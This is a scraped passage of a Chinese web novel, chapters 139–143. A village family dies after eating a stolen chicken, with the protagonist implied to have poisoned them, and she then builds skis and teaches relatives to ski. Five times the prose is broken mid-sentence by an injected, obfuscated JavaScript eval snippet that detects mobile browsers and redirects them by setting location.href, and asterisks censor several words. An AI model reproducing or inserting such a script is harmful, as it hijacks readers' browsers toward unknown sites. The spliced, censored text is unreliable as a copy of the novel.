屋里人正讨论商议上山的可行性方案,突然外头响起一声嘹亮的喊叫声,紧接着一道人影连滚带爬冲进屋。 来人是村里的懒汉程三狗,此刻浑身是雪,一路上不知摔了多少次。 村长蹭得从凳子上站起身,又**了? 他最近最害怕听到“不好了”三个字,每回都有数不清的麻烦事等着他。 程三狗喘着粗气:“范、范家**了。” 第一百三十九章 报应不爽 程诺在里屋听得一清二楚,神色未动,倒是赵氏吃了一惊,跟着村长婶一起出去打探情况。 众人赶往范木匠路上,程三狗磕磕绊绊将看到的事说出来。 其中真假占几分,暂且不议。 “我今天本打算去范家串门子,谁知道他家院门关得紧紧的,但厨房烟囱一直往外冒烟,我喊了半晌没人理会,怕出事,就、就趴门缝想往里瞅瞅,谁知道……谁知道看见范母倒在门口雪地上不省人事,屋里其他人也没动静!” 真实情况是程三狗盯范家很久了。 程三狗人如其名,鼻子跟狗般异常灵敏,谁家煮了肉,他比谁都清楚。 这两日他总闻到肉味,一开始以为是程家飘出来,观察几次发现时间不对,更像是范家烟囱里飘出来的味道。 今天他特地起早盯着,果真瞧见天没亮范家飘出水煮肉的味道,而程家飘的是面饼子糊味,断定范家人在偷吃肉。 村里谁不知道范家穷得叮当响,范木匠四处借粮,哪儿来的肉,一下子想到前两日何家丢鸡鸭一事,笃定范家是作案凶手。 他第一想法不是戳破范家人的恶行,而是以此要挟,打个秋风,分一杯羹。 刚巧隔壁程家一大家子出了门,他放心大胆敲起范家院门。 他刚敲两下,范母惊慌失措跑出来,后头还跟着探头探脑的张氏,便知他猜得没错,范家真的在干见不得人的事。 “吃肉呢,婶子。” 范母狡辩说没有。 “我都闻到肉味了。”程三狗不怀好意笑起来,“放心,我不告诉别人,但我这嘴需要点油滋润滋润,不然我也管不住它。” 范母神情慌张,主要是肉已经吃完了,想给也没有。 张氏冲出来,叉腰道:“你去说,我看谁会信你个街溜子的话,你哪只眼睛看见我们吃肉了,我家喝的是红薯汤。” 程三狗讨好威胁的话说了一箩筐,门里人不为所动,双双转身回了厨房。 他想去告密,但风评在村里不好,未必有人肯信,一来一回的功夫,没准范家已经把骨头和鸡毛处理干净了,到时候抓不到把柄被反咬一口,得不偿失。 他暗骂了声,正想打退堂鼓,突然隔着门缝见到范母踉踉跄跄走出来,“扑通”一下子摔倒在地,接着口吐白沫,不省人事。 村长等人到范家门前,果真跟程三狗说的一样,院门紧闭,透过缝隙厨房门前倒了个人。 很快有汉子冲着大门连踹几脚,大门应声倒地,人群一拥而入。 村长快速查看范母的情况,将人翻过来,轻轻喊叫两声,没有回应。 食指放在她鼻子下方,也没有丝毫气息。 再看嘴角的白沫,像是**了。 确定人是真的**。 此时率先进厨房的程三狗,果真在厨房灶台上找到范家关门偷煮肉的证明,桌上也有残留的鸡骨头。 至于范家其他人,范木匠三口倒在餐桌上不省人事,范父躺在主屋炕上同样口吐白沫,旁边的矮桌上摆着只剩残渣的瓷碗,里头的东西吃得一干二净,依稀可以看出来之前喝的是鸡汤。 范父已经没了气,范木匠和他媳妇儿子,还有微弱气息,儿子石头情况最轻,依稀能睁开眼说话。 村长拍打着孩子的脸颊:“孩子,石头,你爹娘他们怎么回事?” 石头神情恍惚,下意识舔着唇角,嘴里呓语:“鸡、石头爱吃鸡。” 人群中有人出声:“瞧着像是**了,是不是?两眼泛白口吐白沫,不是**是什么?” 不知谁喊了一声:“范家的鸡哪里来的?” 此话一出,刚才还沉浸在有人被毒死的恐慌中的村民,突然反应过来。 对啊,范家饿得到处借粮,家里怎么会有鸡? 贵婶挤到人群最前头,首先想到借出去的五斤红薯,懊恼地直拍大腿,早知道肉包子打狗有去无回,她就不借了。 她阴阳怪气道:“还能哪儿来的,何家前脚丢了鸡,后脚范家吃上鸡肉。” 偷的呗! 这几日见多了冻死村民的邻里,此刻早没了见到**的惧怕,更多的是对贼人恶有恶报的畅快。 “真是吃鸡吃死的啊?” “何家的鸡怎么会有毒呢?是不是瘟鸡啊?瘟鸡会传染的。” “会不会有什么误会,也不一定是他们一家偷的吧?” “能有什么误会?人赃俱获,门口雪地里的芦花鸡鸡毛就是最好的证据,咱们村养芦花鸡的人家没几户吧?” 确实,芦花鸡生下的单产量营养都高,因此比一般鸡精贵,村里大多数人家养的是土生土长的三黄鸡。 养芦花鸡的人家一只手数得过来,何家算一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429220|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,贵婶家算一个,再有就是程家。 贵婶想起来一件事,发现何家人冻死那天,她好像瞧见张氏和范母在厨房鬼鬼祟祟,衣服里鼓鼓囊囊,原来是偷东西藏在衣服里了。 “呸!”贵婶啐了一口:“一定是何家人在地底下看不下去了,他们尸体还没下葬,就有人惦记留给孙女的粮,报应,全是报应!” 话刚说完,贵婶察觉跟她站在一起的大福婶身体好像在抖。 “大嫂,你抖什么?” 大福婶声音磕磕绊绊:“啊,我、我……” 大福叔怕媳妇露馅,解释道:“你嫂子胆小,见不得这种场面,我先带她回去了哈,你们聊你们聊。” 几个儿子扶着母亲脚步踉跄回了家。 刚进屋,院门锁紧,大福婶强撑着的最后一丝力气散尽,腿一软摔在地上,随即绝望地哭出声:“哇……完啦,全完啦。” 大福叔听到院外时隐时现的脚步声,吓得赶紧捂住媳妇的嘴:“别嚎了,被人发现,那才是真的完了!” 相较于被毒死,他更怕名声扫地,祖宗跟着蒙羞。 **到地底下他都没脸见列祖列宗。 大福婶不在乎名声脸面,她一把推开丈夫,心里的恐惧无处发泄,视线落在几个儿子身上,窜起来扑上前一人给了一巴掌。 大声呵斥:“你们三个干的好事,连带着全家倒霉。” 大儿子捂住脸不满道:“娘,吃鸡的时候你可不是这么说的,还嫌我们三偷回来太少呢!” 二儿子应和道:“吃都吃了,再说这些话有什么用!” 三儿子跟他娘一样胆小:“娘,咱们会不会跟范家人一样?” 一想到家里的媳妇孩子,众人一阵绝望。 大福叔摆手:“不会,范家刚吃完就暴毙,说不定偷走的就是一只病鸡,咱家那两只前天就吃完了,大伙儿不都好好的吗?” 大福婶闻言,觉得是这个理,眼泪一抹,“对对,你们爹说得对,没准就是范家人倒霉,摊上有问题的鸡。” 大儿子问:“那剩下的鸭还吃吗?” 后院雪地里还藏了只鸭,家里人忍了又忍,没舍得吃。 此时像是揣了颗**,丢了舍不得,留下不敢吃,还有可能成为偷盗的罪证。 大福叔脸比锅底难看,狠狠心:“丢了,命更要紧。” 第一百四十章 制作滑雪板 程家。 程家人陆续回家后,程父也把院门关上。 程大壮满脸疑惑:“范家吃的鸡,是咱家丢的那只吗?” 程父摇摇头:“我去看了院里没清理的鸡毛,咱家鸡身上做了标记,尾巴染了茜草根汁,是红毛,那堆鸡毛里没红色,不是咱家的。” 赵氏松了口气,扶着跳跃不止的心脏:“还好还好,我以为是咱家出现病鸡了,不是咱家出去的就成,不然这几条命不知算在谁头上。” 她发现程诺还没回来:“小姑还在绿草家呢,没回来也好,省得看了睡不着觉。” 这一夜过后,村长跟众人宣布了范家人的死讯,跟着死讯一起公布的,还有范家偷鸡一事。 大伙儿一致认为,范家人是吃了生病的鸡,被毒死的。 两个老的当场丧命,范木匠和张氏年轻,但架不住吃得多,熬了一会儿,没有大夫医治,当天晚上也归了西,只剩下个儿子石头,因为吃得少,活了下来。 却被毒素侵入脑子,变得有些痴痴傻傻,不知以后能不能恢复。 村长将他安排给村里一对没有儿子的中年夫妻,夫妻不能生育,天上白掉下个儿子,自然不会拒绝,但见对方留着哈喇子,眼神涣散,又担心长大了会是个傻子。 在村长承诺,收养石头就把范家的遗产一起送给两夫妻后,对方才欢喜地应承下来。 范家的事,很快翻篇,村民不想把精力浪费在偷盗者身上,眼下最重要的事各家柴火告罄,需要找门路上山伐树,不然下一个被冻死的指不定是谁。 大伙儿集思广益,想了很多算不上办法的办法,无一例外被村长否了。 这日,村长又在挨家挨户问,有没有什么新法子,走到程家门前时,看到程诺正在打磨一块木板,打趣道:“四娘改行当木匠啦,是你二哥传授的手艺吗?” 程二顺喜欢倒腾木艺活儿,手艺精巧,时常琢磨些小玩意儿拿到市集上售卖,村长曾提议让他学着打些桌椅板凳,衣柜箱橱之类卖得上价的玩意儿,结果因为跟隔壁范木匠职业相冲,对方阴阳怪气找茬很长一段时间,最后作罢,好在程二顺对此兴趣不大,更爱倒腾**之类的小东西。 程诺笑道:“是啊,等做好了,请村长叔公帮我参谋参谋。” 村长随意应了声,问:“你爹他们呢?” 程诺忙得头没抬:“去贵叔家串门了。” 村长点点头,背着手离开了。 十七从屋里出来,手上拿着块跟程诺手里差不多的木板,是刚从屋里衣柜上卸下来的,见程诺忙得热火朝天,一缕秀发顺着面颊滑落,忙碌的女子随手将它捋在耳后,不到片刻又不听话地垂下来。 “你在做什么?”他问。 程诺神秘莫测地冲他眨眨眼:“滑雪板——” “哦——,”十七拖长尾音,“是那种脚踩木板,两根带子固定住脚面,双手各拿一根拐杖的滑板?” 程诺动作一停,满脸诧异:“你知道滑雪板?” 十七回忆起从前在边境抗敌,有一年大雪封道,粮草辎重补给不足,就在他以为军队要饿死在冰天雪地中时,队伍里有人献计,想出的办法就是用滑雪板开路。 那名士兵的老家是北方游牧民族,北方常年积雪,冬季漫长,他知道这法子不足为奇,可程四娘生长在以平原矮山为主的中原地区,这辈子见过的大雪加起来也没此次暴雪多。 “我本就是北方逃难来的,北方雪多,知道滑雪板不足为奇,你是怎么知道的?”十七双目灼灼盯着她,仿佛能窥探人心。 程诺还是老借口:“卖卤肉的时候,听来往商旅说的。” 男人轻笑:“还真是个一劳永逸的好借口,所以你用来毒死范家人的药,也是过路商贩给的?” 程诺淡淡一笑,灿若莲花:“哎~说话要讲证据,范家人是偷吃何家病鸡死的,跟我可没关系。” 十七呵了一声:“你觉得我信吗?” “你信不信不重要,重要的是村里人信了。”程诺手里的抛刀猛地向前划,木屑最风一飘,消失不见踪影。 没穿越成程四娘之前,程诺也是位滑雪运动爱好者,在摸爬滚打中熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429221|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了滑雪技巧,要不是后来末世来临,这项运动她每年都得去上几趟。 程诺原本想直接在商城买一套滑雪工具,一看价格两眼一黑,最基础的套装都得万元左右,真不是普通人能玩的项目。 商城余额倒是能支撑她买一两套,但家里人多,村里人更多,她心里有个想法,若是能顺利实施,村民炭火问题便能迎刃而解。 她看着蹲在面前的男人,将另一个抛刀丢给他:“既然你也会,不如我们各自做一副,看看谁的成品效果更好。” 十七觉得挺有意思,欣然答应,他大概猜出程诺做滑雪板的目的。 接下来的半天功夫,程诺很快按照商城滑板样式倒腾起木板,需要切割的时候,就抱着板子去范木匠家,他家有专门切割的机器。 范家院门被踹坏了,门户大敞谁都能随意进出,范家四口的尸体没有掩埋,就在正屋里躺着,冰天雪地不用担心散味。 十七就这么看着她在范家进进出出,旁若无“人”,要不是知道范家人的死跟她有关,连他也得相信范家四口是死于病鸡。 她都不害怕轮回报应,十七就更不怕。 两人堂而皇之在范家忙活起来,有路过村民瞧见范家有动静,吓了一跳,趴在院门前,发现是程家人在用范木匠留下的削木头的机器,以为是切木材烧火的,看了两眼离开了。 十七将切好的板子递过去:“你看,如何?” 程诺拿到手里左看右看,竟然还不错。 她有商城实物作参考,前世的滑雪工具也是经过几百年改良的成果,十七做的这个,虽不精细,但大小手感,以及上头的洞眼的位置可以说无一不精确。 “不错啊!”程诺真心实意夸了一句,“要是有桦树皮或者兽皮包裹,再在底部刻一凹槽,用动物油脂填充降低摩擦会更好。” 十七仔细一想,觉得她说得有道理,二人又交换研究一番,当天晚上,串门结束依旧没有找到上山办法的程父心事重重归来。 一回来看到房里的衣柜被拆了,第一反应家里又遭贼了。 第一百四十一章 不敢的要敬茶给对方当徒弟 小跑到堂屋准备喊人,就见全家聚在桌前,赵氏正从针线筐里扒拉碎布条,问程诺:“这行不行。” 程诺摇头:“不够结实。” 赵氏又跑进屋,拿出一个狐裘护腕,“这是三弟前几年上山打猎得的,给我们三妯娌一人做了一个护腕,我一直没舍得戴,你瞧结不结实。” 狐狸皮肯定结实,但太贵重了。 程诺推辞不肯接收,结果赵氏直接用剪刀划拉开,这下不用也不行了。 除了两只木板,还需要两个保持平衡的拐杖。 巧了,程三虎先前摔伤腿的拐杖,改良一下刚好能用。 第二天一早,滑雪试验开始。 积雪依旧没有融化的迹象,比一个成年汉子还要高出一头。 “走,出去试试。”程诺抱着木板,指挥程大壮搬来梯子,放在墙根下,然后踩着梯子爬到房梁上。 脚下是跟屋檐几乎齐平的大雪,除了那条黑乎乎的雪道,其他地方入眼皆是白茫茫一片。 程诺弯腰将狐皮做成的绑带在脚背上系紧,先踏出去一只脚试试会不会塌陷。 雪是蓬松的,若是重力过载人会立刻陷入雪地里,光靠单个力量是爬不出来的。 有了木板,情况好很多,因为受力面积增大,一只脚站上去滑板只是稍稍下降,两只脚一起放在雪面上时,程诺明显感觉到双脚在下陷,但并不严重。 却看得一旁跟着一起爬上来的程大壮一脸焦心。 十七有经验,知道滑雪板制作成功了,下面就看能不能在雪地里行走了。 程诺又将绑带重新解开,扎得更紧,回过头朝身后挥挥手,两根拐杖递到手边。 一切准备就绪,她却站在原地不动了。 自从末世来临,她有许久没滑雪了,第一步怎么动来着? 程大壮在身后喊道:“小妹,咋了?” 话音刚落,程诺手里的木棍往后一推,人立刻滑了出去,身体摇摇晃晃,但很快被她稳定住,就在程大壮瞪大眼睛想拍手叫好时,一旁的十七突然喊道:“小心!” 刚滑出去没两米的程诺,身体一歪,四脚朝地摔了个狗吃屎,整个人扑进雪地里,下陷二十厘米。 “小妹!”程大壮吓得惊呼。 留在地面上的程父等人,只听到程诺一阵闷哼,接着没了声音。 程父急得喊出声:“大壮,十七,咋回事?是四娘摔了吗?” 程诺从雪地里抬起头,刚想站起来,感到身下雪以极快的速度下陷,她赶忙停止动作,保持原样。 “我没事!摔倒很正常,你们以后学也得在摸爬滚打中度过。” 赵氏一愣:“我们也得学吗?学这能干嘛?” 程诺吐出嘴里的雪,回复道:“学会了能山上砍柴,还能去云溪村看娘,再远些去杏花村看大侄女也不是没可能。” 一听能滑到杏花村,赵氏眼神精光四射:“我要学,四娘你教我,我不怕摔。” 程诺叹口气:“先来个人把我扶起来啊!” 与此同时,十七的滑板也滑下屋顶,跟程诺一样,前两米身体摇摇晃晃,但他很快掌握住技巧,滑板在他脚下成了被驯服的坐骑,任凭他想拐到什么地方就拐到什么地方。 “唰”的一声。 程诺眼睁睁看着十七脚踩滑板,在面前一闪而过,动作顺滑飘逸,被人吹动的衣角像是在嘲笑程诺的菜鸡,这家伙甚至知道靠下蹲侧身改变轨迹,稳住平衡。 “哇!” “十七叔好帅!” 程大壮和刚爬上屋顶的程云惊讶地拍手叫好。 程诺气**,装逼失败,还成了对照组。 顺滑开场迎来一片叫好的十七,在不远处来了个漂亮拐弯,终于回头来救人。 程诺抬眼瞪他,幽怨的小眼神让他压下嘴角的笑意,正色道:“咳,我扶你。” 话音刚落,程诺整个被从雪地上提起来,结果因为还没适应新脚掌,像是刚脱离母体尚在熟悉身体的幼兽,蹒跚踉跄两步,两只手挥舞得快出残影,惹来房顶上的程云笑话。 “哈哈哈,小姑姑,你扑腾得跟水里的野鸭子似的。” 程诺恼羞不已:“等你学的时候,我一定狠狠嘲笑你,等着吧小兔崽子。” “我跟十七叔学,十七叔滑的好。”程云已然被十七迷得不行,恨不得现在立刻马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429222|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上将滑板穿在脚上,跟一只雪地里奔跑的猎豹般飞速前进。 程诺掸了掸身上的积雪,再次滑动拐杖,这回有进步,连续划出去**米,在接近老榆树的方向,因为拐不了弯,栽了。 动静太大,惹得老榆树上的积雪簌簌往下掉,全砸在她身上,将身体埋了一半。 “继续?”十七再次把人从雪堆里捞出来。 程诺瑟缩着脖子,忍着冰雪掉进后颈的冰冰凉凉,坚定道:“当然!会滑平道算不了什么,瞧见了吗?老榆树底下的坡有五六丈,从这儿滑下去安全落地的才能算会滑雪。” 十七顺着她指的方向往下望,那是一片比程家所在屋舍矮不少的平原。 准确说,程家这一排的土坯房,是建在有弧度的半腰上,视野好,遭风雪侵蚀也更严重。 此时因为暴雪,山坡形成一条天然的雪场,程诺摩拳擦掌跃跃欲试。 十七估量着危险性,笑道:“平地都能摔,你确定要从这儿滑下去?” 程诺左右晃晃胳膊,动动脑袋做舒展运动,将身体激活,扫了他一眼:“你不敢可以在这儿待着,看我怎么征服这座山。” 连土坡都算勉强的小山坳,到了程诺嘴里成了巍峨壮观的山。 十七看着她大开大合的动作,实在算不上文雅,却莫名透着股争强好胜,执拗般的可爱。 “舍命陪君子了。”他道。 程诺牙酸,这人比她还夸张。 “现在就比?”十七斜眼瞧她。 程诺:“我又不傻,现在平地还在摔跤,下去不是送死吗?” 她得再练练。 接下来从上午到下午,程诺忙得连吃饭时间都没有,一直在摔倒站起来,滑出去再摔倒中,越挫越勇。 身体逐渐找回当初驰骋的感觉,所有的技巧在练习中想起来。 下午,听说二人要比赛的程家人,兴冲冲地爬上屋顶,因为怕把房梁坐塌了,其中两个坐在杉叔屋顶上。 程诺看向身旁离她有一丈距离的男人,问:“准备好了?我数一二三,一起冲下去,不敢的要敬茶给对方当徒弟。” 十七失笑:“玩这么大?” 第一百四十二章 人为什么能在雪地上行走? “一……” 十七捏紧拐杖,竟然又有了战场上才有的热血沸腾。 “二……” 风呼啸着从耳边吹过,十七目光紧盯着坡底,只一瞬间天地在他眼中只剩下方寸之地。 “三!” 两道身影,跟离弦的箭冲出去。 肾上腺素在血管中奔涌的快感,伴随雪面刻出的完美弧线,每一个拐弯好似经过测算,溅起一片雪雾。 程云一早跑到山坡下,趴在村长叔家的屋顶上等着看热闹。 他随身携带了麻绳,万一谁出现意外,他能及时救援。 村长儿子平安一起爬了上来,听说程诺要跟十七从老榆树的斜坡上滑下来,压根不相信。 开什么玩笑,人从上头滚下来,多大力道,没碰底就得被雪覆盖,滚成一团载进雪里。 程云站起身,双手在眼睛上搭成房子状,远远看到自家榆树旁两个黑不溜秋的身影:“快看!他们在那儿。” 平安望过去,真有两人站在山坡上:“真从上头滑下来,不会出人命吧?我得去喊我爹……” 他话刚说到一半,远处的两道身影,以极快的速度俯冲而下,溅起的雪花瞬间将二人身形遮蔽。 村里有人站在屋顶铲积雪,正跟隔壁邻居抱怨家里炭火不多,突然看到两抹影子从面前一闪而过,定睛一看是两个人,脚底下绑着两个板子,所过之处如履平地。 那人指着匆匆而过的人影,对邻居道:“快看,刚过去的是谁啊?” “不知道啊!他、他们为什么能在雪地上行走?”邻居望着远去的二人,震惊了。 大雪松垮,别说是成年人,就是个五六岁的孩子,走在上头也得陷下去,更何况用这么快的速度。 “走走走,去问问,两人谁啊?”村民雪也不高兴铲了,麻溜地顺梯而下,迫切想知道两人谁家的。 他也想学学,有了这本事,上山砍柴还是问题吗?走出大梨村还是奢望吗? 二人走走问问,除了他们,不少人也看到刚才从山坡上滑下来的身影。 大伙儿正争论着他们是不是村里人,突然听到一道少年骄傲的声音:“那是我小姑和十七叔。” “程四娘?哦~昨天在范木匠家,他俩忙活的就是这个啊。”有村民瞬间明白过来,一副了然于心的模样,跟身旁人解释,“四娘脚上踩着木板是处理过的,木板越宽越不容易在雪地里塌陷,这我也知道……” “四娘真聪明,想到把板子绑腿上行走,我回去也试试。” “我也回去试试,我家还有两个废弃的门板,刚好废物利用。” 说干就干,不少村民立刻回家,将家里的木板抱出来,板上通两孔,然后用布条绑在脚底。 结果不是走出两步布条断了,就是板子在脚底下不听使唤,整个栽进雪里。 程云没想到带出来的麻绳没用到自家人身上,反倒从雪堆里救出一堆跟风的邻居。 此时的程诺和十七双双安全着陆,程诺的速度比十七更快更稳,提前抵达事先约定的地点。 程诺睁开被飘起的雪沫子糊住一半的眼睛,失误,应该搞个护目镜,还好路程不算远,不然眼睛被遮上,撞上障碍物就不好了。 下山路顺畅,回去路是上坡,就没那么轻松了。 为了熟悉滑板,程诺没有卸下滑板走挖好雪道,坚持拄着拐杖走完全程。 从山下到鹿山顶,很长一段路都是上山,提前熟悉对之后爬山有好处。 回到院门前时,程诺累得满头大汗直喘气。 十七身体素质更好,除了有些气息不匀,瞧不出别的异常。 程云激动地询问比赛结果:“谁赢了?是不是我十七叔赢了?” 程诺在他脑袋上捶了一下:“胳膊肘往外拐,我才是你亲亲小姑,你怎么尽向着外人?” 程云摸摸被揍疼的脑袋:“所以谁赢了?” “我!”程诺叉腰一脸得意。 程云目光转向男人求证。 十七点点头:“她滑得更快,比我早到目标点。” “哇!”程云尖叫着一把抱住程诺的腰,整个人态度一百八十度大转变,“小姑姑,教我教我,我要学!” 赵氏出门看到儿子的熊样,一把将他扯下来,“我先跟你小姑说好的,先教我,等学会了,我要去杏花村看你大姐姐。” “我也可以去看大姐,我还想去云溪村看看阿奶她们呢,”程云昂起头,“娘,我肯定比你学得快。” 赵氏撸起袖子,佯怒道:“你跟老娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429223|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比,你都是老娘肚子里生出来的,你能厉害得过我?” 母子俩吵吵闹闹进了屋,最后也没人问程诺和十七的意见,直接做好决定,赵氏跟着程诺学滑雪,程云跟在十七后头学。 比谁学得快,比谁学得好。 当天晚上,程家人一起动手,将家里另外两个衣橱柜子拆卸,重新打造出两副滑雪板。 除此之外,还有新手必不可少的护具,主要是用来保护膝盖,胳膊肘和头部,以及尾椎骨。 肘部护具和屁垫好做,往布里塞点棉花,做得鼓囊囊些就成,再用绳子系着绑在身上,唯独保护头部的头盔找不到合适的替代品。 滑雪是一项很危险的运动,遥记当初程诺加入的第一个跟滑雪有关的群,群名就叫“雪野Club骨科赞助滑雪群”。 新晋滑雪爱好者程云,觉得程诺多此一举,道:“非得戴这些东西吗?好累赘,你跟十七叔不是都没戴吗?” “戴上,等你在雪地里狗吃屎的时候,你会感谢我的,”程诺将做好的护具在他身上比画,不合适的地方交给赵氏再修改。 一晚上过去,两套护具做得差不多,还差头盔。 程诺将家里夏天垫的竹席拆了,找了些丝麻编织物,将想要的效果和形状跟程父解释清楚,没多久便做出来两个成品。 已经跟前世的头盔有七八分相似,只是因为材质原因,效果大打折扣,但对于当下已是最好的头部防护工具。 程诺又在里头加入薄木片,用蜡烛固定,再塞入棉花减轻震荡过程中的伤害。 一切准备就绪,程云和赵氏一起爬上屋顶。 这还是赵氏第一次上屋顶,双腿止不住打颤,相较于程云的**以为常,前者显得局促得多。 二人身上戴满了护具,远远望过去,颇为滑稽。 听说程家今天又有两个人学滑雪,昨天自制滑板最后以失败告终的村民,纷纷赶来瞧热闹,学习学习经验。 见程家母子包裹得跟熊似的,有的笑道:“雪是软的,就算摔倒了,也没多疼。” “对啊,昨天我试过了,别说在衣服上绑东西,就是正常穿棉袄,舒展起来也费劲。” 大伙儿显然还没意识到,滑雪是一件多危险的事。 第一百四十三章 师傅领进门,修行看个人。 没关系,初生牛犊不怕虎,多摔几次就知道疼了,不用劝也会乖乖把护具戴好的。 程诺没有管村民们的谈话,率先走到雪地上,伸出手接赵氏。 赵氏呼出一口气,将手递过去,探出一只脚,接着是第二只…… 双脚稳当落在雪上,心里的最后一丝恐惧跟着烟消云散,脚踏实地的感觉真好。 “大嫂,你先试着在雪里走两步。”程诺。 赵氏点头,她每一步小心翼翼,不敢掉以轻心,所以迈出去的步十分稳当,脚下熟悉后,渐渐加快些许动作。 再看程云那边,没学会走,先想滑,自认为经过昨天的观察,走路是最简单的,不需要练习也能如履平地。 他开口道:“十七叔,你直接教我滑吧,走路太简单了,我会了。” 十七不为所动,眉尾一扬:“好啊,既然你会走,那走两步我瞧瞧,不用走多远,从这儿到隔壁院墙就成。” 不到两丈的距离,程云胸有成竹:“师傅,你瞧好了。” 豪言壮志刚放出去没两秒钟,程云踏出去两步,摔了个狗吃屎。 他抬起头,吐掉嘴里的雪:“不对啊,脚怎么这么重。” 他不信邪,又试了几次,同样以失败告终,双腿像是按的义肢,根本不听他的使唤。 程云扶着墙根,第不知道多少次站起身,这回他不敢掉以轻心,试探地伸出脚,稳稳当当确定身形不摇,再踏出另外一只脚,效果果然好很多。 在二人终于学会平地上走路后,终于迎来滑雪教程。 程诺对赵氏颇有耐心,按部就班将当初从教练手上学到的技巧倾囊相授。 “首先,站姿要稳,双腿微微弯曲。” “手臂放松,身体前倾,刹车的时候重心稍微向后,能控制速度。” “板头靠近,板尾分开,呈“A”字形,不是,呈内八字形。” 程诺手把手带着赵氏,先练习简单的直滑不转弯,感受速度和平衡。 赵氏很有滑雪的天赋,在经过几个跟头后,很快掌握要领,再次爬起来摆好姿势,已经不需要程诺跟着,拐杖一用力,人就滑了出去,等快到目标点位时,并住板尾,重心后移,稳稳停下来。 她激动地捂住嘴:“成功了,我成功了!” 程诺为她高兴,站在下面看热闹的村民,忍不住鼓起掌来:“赵氏,真厉害啊!” “程老大媳妇,学会了别忘了把村里的女人都教会了!” 赵氏挥挥手,跟大伙儿打招呼:“放心,一定。” 有了第一次的成功,接下来赵氏越战越勇,脚下手上的动作越来越熟练,成就感满满。 再看程云这边,有亲娘珠玉在前,他动作显得急躁起来。 看着一旁环胸在前,一副悠哉模样的男人,程云问:“十七叔,你没有什么经验之谈可以传授给我的吗?” 十七歪头沉思,“还真有。” 程云眼光大亮:“什么?” “滑雪,主要靠天赋。” 天赋…… 这么深奥吗? 好像教了,又好像没教。 程云抹了把头上的细汗,后悔了,他应该跟小姑姑学的,小姑姑都是亲手教学,哪像十七叔,全靠他自己悟。 又摔了几个跟头后,程云脑袋晕乎乎的,破罐子破摔起来:“我不学了!我要小姑姑教。” 十七摇头拒绝:“不行。” 程云不解:“为什么不行?” “你是我的学生,代表我的水平,”十七睨了他一眼,“你要是滑得太烂,丢的是我的面子。” 你还知道徒弟滑得差,做师傅得会丢人啊! “那你还不好好教我!”程云气冲冲伸手指着程诺和赵氏方向,程诺正亲自给赵氏示范坡道拐弯应该怎么控制速度,“那才是当师傅应有的样子!” 十七见他一脸委屈,微微蹙眉,“师傅领进门,修行看个人。” 程云用恨铁不成钢的眼神盯着十七,“自古拜师学艺,哪有让徒弟自己领悟的,当师傅的不应该答疑解惑吗?” 十七点点头,觉得他的话有道理,虽然他当初学滑雪几乎是自学成才,但庸人未必有他的天赋。 “好吧,你有什么想问的,我知无不言。” 程云终于露出一抹笑:“我滑出去的时候,总是没法停在规定位置,速度一快,人就扑出了,应该在哪一步开始刹车?” 十七一本正经道:“感觉,感觉到了就能刹车。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429224|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程云恨不得以头抢地,好半晌找回声音,幽幽得好似地狱里的怨鬼:“换人,我要换人。” 太阳逐渐西斜时,赵氏练得累了,回去给大伙儿做晚饭。 程大壮等候许久,终于有机会代替媳妇上场。 兴冲冲穿上护具,没多久阳光没了,他还没尽兴。 